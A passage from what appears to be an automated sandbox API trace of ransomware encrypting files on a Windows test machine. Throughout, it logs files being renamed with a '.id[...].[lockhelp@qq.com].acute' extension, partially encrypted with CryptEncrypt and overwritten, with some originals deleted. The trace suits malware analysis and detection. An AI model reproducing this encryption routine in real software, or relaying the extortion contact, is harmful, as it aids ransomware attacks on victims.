lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0052.513] WriteFile (in: hFile=0x190, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0052.516] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0052.516] WriteFile (in: hFile=0x190, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0052.518] CloseHandle (hObject=0x190) returned 1 [0054.142] SetEvent (hEvent=0x11c) returned 1 [0054.143] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0054.143] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.143] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=2865664) returned 1 [0054.143] CloseHandle (hObject=0x19c) returned 1 [0054.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0054.143] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0054.144] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.144] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0054.144] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0054.144] ReadFile (in: hFile=0x19c, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0054.148] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0054.148] ReadFile (in: hFile=0x19c, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0054.159] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0054.159] ReadFile (in: hFile=0x19c, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0054.164] CryptImportKey (in: hProv=0x585138, pbData=0x2e7f820, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e7f88c | out: phKey=0x2e7f88c*=0x5931a0) returned 1 [0054.164] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x2e7f928, dwFlags=0x0) returned 1 [0054.165] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0060) returned 1 [0054.171] CryptDestroyKey (hKey=0x5931a0) returned 1 [0054.171] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f868 | out: lpNewFilePointer=0x0) returned 1 [0054.171] WriteFile (in: hFile=0x19c, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e7f878, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e7f878*=0xc0112, lpOverlapped=0x0) returned 1 [0054.791] SetEndOfFile (hFile=0x19c) returned 1 [0054.791] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0054.791] WriteFile (in: hFile=0x19c, lpBuffer=0x362014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362014a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0054.793] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0054.793] WriteFile (in: hFile=0x19c, lpBuffer=0x362014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362014a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0054.796] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0054.796] WriteFile (in: hFile=0x19c, lpBuffer=0x362014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362014a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0054.798] CloseHandle (hObject=0x19c) returned 1 [0055.443] SetEvent (hEvent=0x11c) returned 1 [0055.443] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0055.443] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.443] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=2522624) returned 1 [0055.443] CloseHandle (hObject=0x19c) returned 1 [0055.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0055.444] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0055.444] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.444] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0055.444] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0055.444] ReadFile (in: hFile=0x19c, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0055.448] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0055.448] ReadFile (in: hFile=0x19c, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0055.459] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0055.459] ReadFile (in: hFile=0x19c, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0055.466] CryptImportKey (in: hProv=0x585138, pbData=0x2e7f820, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e7f88c | out: phKey=0x2e7f88c*=0x593220) returned 1 [0055.466] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x2e7f928, dwFlags=0x0) returned 1 [0055.466] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0050) returned 1 [0055.473] CryptDestroyKey (hKey=0x593220) returned 1 [0055.473] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f868 | out: lpNewFilePointer=0x0) returned 1 [0055.473] WriteFile (in: hFile=0x19c, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e7f878, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e7f878*=0xc0102, lpOverlapped=0x0) returned 1 [0055.595] SetEndOfFile (hFile=0x19c) returned 1 [0055.595] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0055.595] WriteFile (in: hFile=0x19c, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0055.597] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0055.597] WriteFile (in: hFile=0x19c, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0055.601] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0055.601] WriteFile (in: hFile=0x19c, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0055.603] CloseHandle (hObject=0x19c) returned 1 [0055.798] SetEvent (hEvent=0x11c) returned 1 [0055.801] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0055.801] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.802] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=11482605) returned 1 [0055.802] CloseHandle (hObject=0x19c) returned 1 [0055.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0055.802] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0055.998] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.998] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0055.998] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0055.998] ReadFile (in: hFile=0x19c, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0056.002] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0056.003] ReadFile (in: hFile=0x19c, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0056.008] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0056.008] ReadFile (in: hFile=0x19c, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0056.014] CryptImportKey (in: hProv=0x585138, pbData=0x2e7f820, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e7f88c | out: phKey=0x2e7f88c*=0x5932e0) returned 1 [0056.014] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x2e7f928, dwFlags=0x0) returned 1 [0056.014] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0050) returned 1 [0056.021] CryptDestroyKey (hKey=0x5932e0) returned 1 [0056.021] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f868 | out: lpNewFilePointer=0x0) returned 1 [0056.021] WriteFile (in: hFile=0x19c, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e7f878, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e7f878*=0xc0102, lpOverlapped=0x0) returned 1 [0056.447] SetEndOfFile (hFile=0x19c) returned 1 [0056.447] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0056.447] WriteFile (in: hFile=0x19c, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0056.449] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0056.449] WriteFile (in: hFile=0x19c, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0056.452] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0056.452] WriteFile (in: hFile=0x19c, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0056.452] CloseHandle (hObject=0x19c) Thread: id = 58 os_tid = 0xbf4 [0046.992] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x1246ff0 [0046.992] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x1256ff8 [0046.993] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x28) returned 0xb86650 [0046.993] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x110102) returned 0x3680020 [0046.993] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x50) returned 0xb861f8 [0046.993] CryptImportKey (in: hProv=0x585138, pbData=0x329f6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f748 | out: phKey=0x329f748*=0x5882b8) returned 1 [0046.993] CryptSetKeyParam (hKey=0x5882b8, dwParam=0x1, pbData=0x329f730, dwFlags=0x0) returned 1 [0046.993] CryptDecrypt (in: hKey=0x5882b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb861f8, pdwDataLen=0x329f6fc | out: pbData=0xb861f8, pdwDataLen=0x329f6fc) returned 1 [0046.993] CryptDestroyKey (hKey=0x5882b8) returned 1 [0046.994] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0046.994] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0046.994] Wow64DisableWow64FsRedirection (in: OldValue=0x329f798 | out: OldValue=0x329f798*=0x0) returned 1 [0046.994] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb861f8 | out: hHeap=0xb80000) returned 1 [0046.994] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0046.994] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0046.995] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=129) returned 1 [0046.995] CloseHandle (hObject=0x16c) returned 1 [0046.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0046.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0046.995] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0046.995] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0046.995] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0046.995] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.997] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x588348) returned 1 [0046.997] CryptSetKeyParam (hKey=0x588348, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0046.997] ReadFile (in: hFile=0x16c, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x81, lpOverlapped=0x0) returned 1 [0047.015] CryptEncrypt (in: hKey=0x588348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x90) returned 1 [0047.015] WriteFile (in: hFile=0x170, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x90, lpOverlapped=0x0) returned 1 [0047.017] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593058) returned 1 [0047.017] CryptSetKeyParam (hKey=0x593058, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.017] CryptEncrypt (in: hKey=0x593058, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0047.017] CryptDestroyKey (hKey=0x593058) returned 1 [0047.017] WriteFile (in: hFile=0x170, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0047.017] CryptDestroyKey (hKey=0x588348) returned 1 [0047.017] CloseHandle (hObject=0x16c) returned 1 [0047.017] CloseHandle (hObject=0x170) returned 1 [0047.019] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0047.021] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.021] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.021] ResetEvent (hEvent=0x150) returned 1 [0047.021] SetEvent (hEvent=0x154) returned 1 [0047.021] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.021] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.047] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=65536) returned 1 [0047.047] CloseHandle (hObject=0x170) returned 1 [0047.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0047.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: 